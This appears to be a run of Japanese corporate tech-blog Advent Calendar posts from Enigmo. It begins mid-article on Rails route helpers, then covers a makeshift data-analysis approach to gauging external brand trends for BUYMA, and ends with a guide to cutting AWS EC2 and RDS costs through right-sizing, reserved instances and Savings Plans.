  • ヘルパー: admin_orders_path
  • URL: /admin/orders
  • コントローラー: Admin::OrdersController

ヘルパー名に admin_ という接頭辞(プレフィックス)がつきます。これが長くなると読みづらさの原因になりますが、「admin 以下の機能だな」と一目で分かるメリットもあります。

ケース2:scope (URLだけ変えたい)

「URLは変えたいけど、コントローラーは既存のものを使いたい」という、少し特殊な要件で使われます。

Rails.application.routes.draw do
  scope "/dashboard" do
    resources :reports
  end
end
  • ヘルパー: reports_pathdashboardがつかない!
  • URL: /dashboard/reports
  • コントローラー: ReportsController (そのまま)

ここが混乱ポイントです。 scope の書き方によってはヘルパー名が変わらないため、「reports_path って書いてあるのに、なぜか /dashboard に飛ぶぞ?」という現象が起きます。
(※ scopeas: オプションをつけることでヘルパー名を変えることも可能です)


まとめ:意思決定の軸を持つ

ルートヘルパーのメリット・デメリットを整理します。

  • メリット
    • URL変更時の修正コストがほぼゼロになる。
    • _path_url の使い分けで、内部・外部リンクを安全に生成できる。
  • デメリット
    • namespace が深くなると、admin_dashboard_statistics_monthly_reports_path のように非常に長い名前になり、一見して理解しづらくなる。
    • 初見殺しになりやすい。

最後に

Railsに慣れている人には簡単でも、知らない人にとっては大きな壁になる」のがルートヘルパーです。

もしあなたがコードレビューや修正をする際、長いヘルパーメソッドに出会ったら、まずは routes.rb を確認し、「それがどのコントローラーのどのアクションに紐付いているか」を確認する癖をつけてみてください。

その構造が見えてくれば、ルートヘルパーは「読みにくい呪文」から「安全に開発を進めるための強力な武器」に変わるはずです。

 

明日12/7の記事はレミーさんの「SVGファイルは本当に安全なのか?」です。

ありあわせで分析する技術:ブリコラージュ的データアナリティクスの勧め

こんにちは、データアナリストの井原です。
この記事はEnigmo Advent Calendar 2025の5日目の記事です。

この記事では手元で手に入るデータ(情報)が限定的でも、出来る範囲で分析を行ってみることは大事なのではないか?というテーマで書いていきます。

私は普段データアナリストとして、データからビジネスの意思決定を行うための示唆出しを主要業務にエニグモで働いています。データアナリストというと、因果推論、統計、Python、AIなど、データを正しく解釈するために、論理的な思考や熟考が要求される、いわゆる左脳的と言われるような学びが多くなる傾向があると思います。そして、そういった左脳的なスキルは実際にデータアナリストにもっとも必要とされるスキルで間違いないと思います。

しかし、一方、ビジネスの現場でデータ分析を主務としていると、左脳的思考だけで十分か?という疑念がつねにつきまといます。なぜなら、ビジネスの現場で必要とされることは、厳密で正確なデータ分析ではなく、ビジネス判断に役に立つ示唆を出すことだからです。

もちろん、そのためには、厳密で正確なデータ分析も求められるところではあるのですが、統計や因果推論の学びを深めていくと、前提とする仮定を達成させることが難しく、完全無欠なデータ分析を行うことは難しいどころか、無理ではないかとさえ思えてきます。

直感やひらめきを重視する理論

ビジネスに必要なスキルは左脳的な論理的思考能力だけではなく、右脳的な直感やひらめきを活かす方法も大事なのではないか。そんなことをここ最近は強く感じながら、答えは出せず、本や資料で学ぼうとしてきました。
主題ではないので、かなり簡単ではありますが、いくつか個人的に参考にした理論を以下にご紹介します。※必ずしも左脳、右脳という切り分けが出来る理論ばかりではないですが、私が今回のテーマの参考となったと考えているものになります。

  • センスメイキング理論*1
    • 人が曖昧で不確実な状況に直面したとき、過去の経験や社会的文脈を手がかりに「物事に意味づけを行い、理解しようとするプロセス」を指す理論です。情報にストーリー性を持たせることで、人々の行動を可能にすると言われています。
  • 二重過程理論*2
    • 人間の思考を直感的で無意識的な「システム1」 と、論理的で意識的な「システム2」の2つのプロセスで説明する理論です。状況によって思考の軸を使い分けることが大切とされています。
  • ブリコラージュ*3
    • 「手元にあるものを組み合わせ、工夫しながら新しい意味や価値あるものを生み出す」思考・創造のプロセスで、既存の資源・経験・道具を柔軟につなぎ合わせて解決策をつくるアプローチです。計画的で目標思考である、従来の計画重視型エンジニアリングと対照的なアプローチとされることがあります。

これらの理論について、論じられている内容は異なるものですが、論理的思考や計画性を特に重視する社会において、それ以外の要素の重要性が示唆されているのではないかと思います。*4

活用事例

とはいえ、これらの理論は抽象度も高く、業務の中で活用するには困難が伴います。

明確な答えはでない中でも、一つの仮説は「ありものでやってみて、発想してみることが大事」なのではないか?ということです。 意識的にやったことではないですが、後から振り返った時に無意識に学びを活かせていたのでは?と思われる事例がありますのでご紹介します。

経緯

BUYMAはファッション系ECの中でも、特にハイブランドと言われるブランドに強みを持つECサイトです。比較的、他ECと比べても、単価が高いことが特徴です。

これは逆に言うと、世の中のトレンドとBUYMAの売れ筋が必ずしも一致していないということでもあり、世の中では売れているけれどBUYMAにはそもそも商品が少ない、というブランドがあります。社内でも感覚的にそのことは認識していても、どのようなブランドが世の中で人気があるのか?そのブランドにBUYMAの伸ばしどころがあるのか?といった点を具体的に分析したことはありませんでした。

分析にあたっての問題

そういった経緯で世の中のトレンドを何とか分析出来ないか?と軽く相談が来たのですが、分析にあたって大きな問題がありました。それは、当然ですが、BUYMA外部のトレンドを知るためのデータは基本的に手元にないという点です。 お金を使えば、データを買う、アンケートを取得するといった方法もあったかもしれませんが、温度感としてはそこまでではなく、何か出来ないかね?という感触でした。

分析の方針の決定

温度感や前後の文脈によっては、「出来ない」という結論も大事かもしれませんが、その時は「意義のある結論を出せるかは分からないが、自力で調べられる範囲で定量化することは出来るかもしれない」という前提をおいて、分析を進めてみることにしました。
具体的には、インターネットで検索して入手できる情報だけで定量化することを試みました。

データの収集と前処理

初めに、検索して入手できる情報の洗い出しを行いました。主に検索、他ECサイトのランキング、SNS、ニュース記事、などが対象になりそうでした。この中でSNSとニュース記事に関しては、純粋なトレンドと広告的な記事を分割することが難しそうだったので、対象からは外しました。
また、検索結果については、LINEヤフー社のDS.INSIGHTを契約していますので、そこからの情報も活用することにしました。

この辺りは、データアナリスト一人で判断するのではなく、関係者とどういうデータが取れて、意味がありそうかをすり合わせながら詰めていきました。今回の手順に限らないですが、アウトプットする前にこういった認識をすり合わせていくことは、後々、期待に応えられるアウトプットを出せるかに直結するので重要なポイントです。

収集するデータを整理したら、その後は手作業でデータを集めていきました。泥臭い作業ではありますが、手作業でローデータを集めることで、分析者としても多少なり売れ筋の感覚を知ることができるメリットもあります。

手作業でデータを集めたら、次にデータを定量化する必要があります。今回集めたデータは、主に「他ECサイトでの最高ランク」「他ECサイトでのランキング登場回数」「検索数」のデータでした。個別に見ていくと解釈が難しいので、データを標準化したうえで項目の加重平均を行い、1次元のデータにまとめました。

データ変換処理のイメージ(数字は仮のもの)

参考:標準化と加重平均について

標準化とは、「平均を0、分散、標準偏差が1になるようにデータを変換して、単位の異なる数値を比較出来るようにすること」で、加重平均とは「各指標に重みをつけて重みの高い指標のウェイトが大きく反映されるように平均値を出す方法」です。

例えば、今回のデータで言うと、「他ECサイトでの最高ランク」「他ECサイトでのランキング登場回数」は、せいぜい1~100程度、「検索数」は数千~数万と規模感が異なります。項目それぞれで標準化を行うと、平均や分散が同じ数にまとまるので、同基準で数字の高低を比較できます。 また、加重平均は項目の信頼度に応じて変えるようにしています。例えば、「ECサイトのランキング」は販売個数が分かるわけではないので低め、検索数はおおよそ正しい数字が分かるので高め、といったように設定しています。

標準化と加重平均のイメージ

グラフへのプロット

標準化と加重平均を経て最終的に計算された数字を仮に「外部トレンド指標」と名付けます。 「外部トレンド指標」だけを見てもいいですが、内部のデータとも比較するため、今回はBUYMAの注文件数を横軸にとり、「外部トレンド指標」を縦軸にとった散布図を作成しました。アウトプットイメージを以下に掲載します。

アウトプットのイメージ

ブログなので、実数と実際のブランド名は削除していますが、一つ一つの点がプロットされたブランドになります。右にあるほどBUYMAで売れているもの、上にあるほど世の中のトレンドが高いもの、という解釈ができます。
これにより、BUYMAの強みと世の中のトレンドの差を直感的に確認できるようになります。

プロットした図を基に、関係者との議論を行いました。感覚としても大きなずれは生じていなさそうということで、これを基にBUYMAとしてどういったブランドに注力していくべきか、といった議論に無事に繋がっていきました。

重要なポイント

事例紹介は以上になります。出来る範囲でやったにしては、あいまいに終わらず、関係者の反応もあり、営業戦略の一助になったものと思います。「右脳的」とは少し違うかもしれませんが、「収集できるデータの範囲でやってみるか」という、やってみようの発想がアウトプットに繋がる一例になったのではないかと思っています。

ただし、「適当なデータを使ってやってみる」とは似て非なるものであるところは注意が必要です。アウトプットの目的、データの妥当性などの検討は丁寧に行う必要があり、特にビジネス側のチェックは必須だと考えています。今回の分析も本当にそれが外部トレンドを表すものなのか?という点は突き詰めると議論の余地は残ると思います。しかし、どのようなデータを集めるのか?どのように集計するのか?など、分析の途中で確認を踏むことにより、ある程度妥当性のあるアウトプットに繋げられたのではないかと考えています。

まとめ

やや大仰なタイトルをつけてしまいましたが、一番書きたかったことは、「データ分析もとりあえずやってみようの精神は大事なのではないか」ということです。

データ分析を学んでいくと、分析にあたって、厳密な仮定や条件を満たすことが出来ず、妥当性を判断することが難しいことがよくあります。そんな時も、(過程を適切に踏む必要はありますが)「ひとまず、出来ることとある程度の妥当性があればやってみる」「やってみてアウトプットを出すことで議論が進み、妥当性に対しての疑義が挟まれたとしても、そこから、適切な方向に方針転換する」といった手順で分析を進めていくことで、有用なアウトプットに繋げることができるのではないかと思っています。

前述したブリコラージュでは、アウトプットをした後の議論の重要性が語られることがあります。近年だとデザイン思考の発想に近いのかなと思うのですが、「アウトプットする」→「議論する」→「修正する」というループを作り出すことは、データ分析のプロジェクトにおいても有用な可能性があるのではないかと思いました。

本日の内容は以上になります。ご一読、ありがとうございました。 明日の記事の担当はエンジニアの小松さんです。お楽しみに。


株式会社エニグモ すべての求人一覧 hrmos.co

AWSにおけるコスト削減の考え方

こんにちは、インフラエンジニア の 森田です。

この記事はEnigmo Advent Calendar 2025の4日目の記事です。
BUYMAは8月に本番環境を移行しており、その後コストのチューニングを行っています。
この記事では実際に進めた内容を元に自分のAWSにおけるコスト削減の考え方と役立つ機能について紹介します。

サマリ

まず最終的なゴール設定ですが、リザーブインスタンスやSavings Plans等利用量をコミットしてコスト削減を行えるモデルの購入とします。
また今回は分かりやすいよう主要なサービスであるEC2とRDSでのコスト削減をターゲットとします。

大枠では次のような流れでAWSのコスト削減を考えています。

  1. サイジングを考える
  2. 利用状況の変化を考える
  3. コストコミットを考える

次項からそれぞれで検討すべき項目と、それに利用できるAWSの機能を紹介します。

1. サイジングを考える

まずそのインスタンスに適切なリソースが割り当てられているかを考えていきます。
AWSのような従量課金のサービスにおいて一定のタイミングで現在の状況にあったリソースが割り当てられているかを考える事は重要です。
利用状況を超えたリソースの割り当ては余計な支出を生みますし、リソースが不足していればサービスの安定稼働の妨げとなってしまいます。
そのためインスタンスタイプを適切に割り当てたいなと思うわけですが、種類が多すぎて何が適切なのかの検討が難しい場合もあります。

そこで参考にできるのがAWS Compute Optimizerです。
Compute Optimizerは機械学習を用いてAWSリソースの利用状況を分析し、コスト削減やパフォーマンス向上に繋がるレコメンドを提示してくれるサービスです。

画像のようなイメージでインスタンスごとに適切か否か、否なら何が適切かを提示してくれるのでサイジングの参考にして下さい。

ただ注意しないといけないのはこれはあくまでオススメするインスタンスタイプであり、動作の保証はされないという事です。
肌感覚ですが、カスタマー利用があり負荷が一定でないWebやAppサーバ等でこのレコメンドの通りにサイジングを行うのはかなり危険だと思います。
実際にコスト削減のためアプリケーションサーバインスタンスタイプをレコメンドよりも一回りバッファを持たせたサイズへ下げたものの、高負荷となってしまうケースがありました。 この時は1台だけ下げたインスタンスを組み込むという計画だったため即切り戻しが可能でしたが、やはり負荷の一定でないインスタンスの変更は慎重に行うべきであるということです。 逆に社内サービス等負荷がおおよそ一定になる用途のものに関してはかなり参考にできるかなと思っています。

2. 利用状況の変化を考える

次にそのインスタンスの利用状況の見通しを考えましょう。
AWSコストコミット類の最小期間は1年であるため、1年程度見通せると良いかと思います。
大まかには以下の点を検討する形になるかと思います。

  • この用途のインスタンスは向こう1年以上利用するか

  • 1年以内にOS、DBエンジンのEOS・EOLが発生するか

OS、DBエンジンのEOS・EOLはHealth Dashboardなどが参考にできます。

OSやDBエンジンのバージョンはリザーブインスタンスやSavings Plansで縛られないものの、
バージョンアップ後に負荷が上がる可能性はあるので、もし1年以内に発生する場合はインスタンスタイプの変更含めて検討が必要です。

3. コストコミットを考える

リザーブドインスタンス

EC2でもリザーブインスタンスを購入することは可能ですが、インスタンスファミリーやOSの変更にも対応できる柔軟性を考慮すると、EC2には後述するSavings Plansを利用するのを推奨します。
そのため、ここでのターゲットは主に RDS とします。
※ただし直近でRDSのSavingsPlansもGAとなっているため、今後はこちらも合わせて検討するのが良いと思います。

RDS RI購入の考え方

RDSの台数が少なければ、前述の検討内容を元に手動で個別に購入して問題ありません。
しかし、台数が多い場合はAWSコンソールの推奨機能を活用します。

Billing and Cost Management > 予約 > 推奨事項

ここでも「1. サイジング」と「2. 利用状況の変化」での検討が重要になってきます。
単に現状の通りにRIを購入するのではなく、無駄なリソースを排除し、EOS対応などの将来的な再構築リスクがないことを確認した上で推奨事項を見ることで、「推奨=購入すべき正解」 という状態を作り出せるからです。

インスタンスサイズの柔軟性について

また、RDSのRI購入を後押しする要素として インスタンスサイズの柔軟性 があります。
MySQLMariaDBPostgreSQLOracle、Aurora を利用している場合、同じインスタンスファミリー(例: db.r6g)内であれば、サイズ(largexlarge 等)が変更されてもRIの割引が適用されます。 (ライセンスを含む場合は柔軟性の対象外となる点に注意して下さい)

これにより、「今は db.r6g.large が適切だが、半年後に負荷が増えて db.r6g.xlarge にスケールアップするかもしれない」といったケースでも、RIが無駄になりません。
この仕様があるため、ファミリー自体の変更(例: r6gr7g)さえ発生しない見通しが立っていれば、比較的安心して1年/3年のコミットを行うことができます。

不要なリソースは削除済み、かつ将来のファミリー変更リスクも検討済みであれば、推奨事項に表示されている台数・期間で購入を進め、割引効果を最大化させましょう。

Savings Plans

EC2に関しては、リザーブインスタンスよりも柔軟性が高い Savings Plans、その中でも Compute Savings Plans の利用を推奨します。
Compute Savings Plansであれば、インスタンスファミリー、サイズ、AZ、リージョン、OS、テナンシーが変わっても割引が適用されるため、構成変更に非常に強いのが特徴です。

こちらもRDS同様、AWSコンソールで推奨事項を確認できます。
Billing and Cost Management > Savings Plans > 推奨事項

ここで前項までの「1. サイジング」と「2. 利用状況の変化」の検討が活きてきます。

通常、この推奨事項は過去の利用実績に基づいて算出されるため、無駄なリソースが放置されている状態で見ると、過剰なコミット額が提案されてしまいます。
しかし今回は、既にサイジングで見直しを行い、将来的な利用期間(1年以上など)も精査済みです。
つまり、現在稼働しているリソースは「必要なリソース」のみに絞り込まれている状態と言えます。

そのため、ここでの戦略はシンプルです。

  1. Compute Savings Plans を選択する
  2. 期間は「利用状況の変化」で確認した期間(基本は1年)を選択する
  3. 表示された推奨事項の 時間単位のコミットメント を信頼して購入する

事前にしっかりとリソースの棚卸しができているからこそ、迷いや過度なマージン(リスクヘッジによる減額)を入れることなく、提示された最適解で購入を進めることができます。
これが結果として、無駄なく最大のコスト削減効果を生むことに繋がります。

まとめ

今回は「サイジング」「利用状況の変化」「コストコミット」の3ステップで進めるAWSコスト削減について紹介しました。

コスト削減というと、どうしても「とりあえずリザーブドやSavings Plansを買う」という手段が先行しがちですが、その土台となるシステムの見直しや将来予測が不十分だと、効果が薄れたり逆に無駄が発生したりするリスクがあります。
今回紹介したように、しっかりと足元(現状の利用量)と未来(これからの構成)を整理した上でAWSのレコメンド機能を活用すれば、迷うことなく最大限のコミットメントが可能になります。

インフラコストの最適化は、一度行えば終わりではなく継続的な運用が重要です。
ぜひこの機会に、皆様の環境でもCompute Optimizerや推奨事項をチェックし、攻めのコスト管理にチャレンジしてみてください。

明日の記事の担当は データアナリストの 井原さんです。お楽しみに。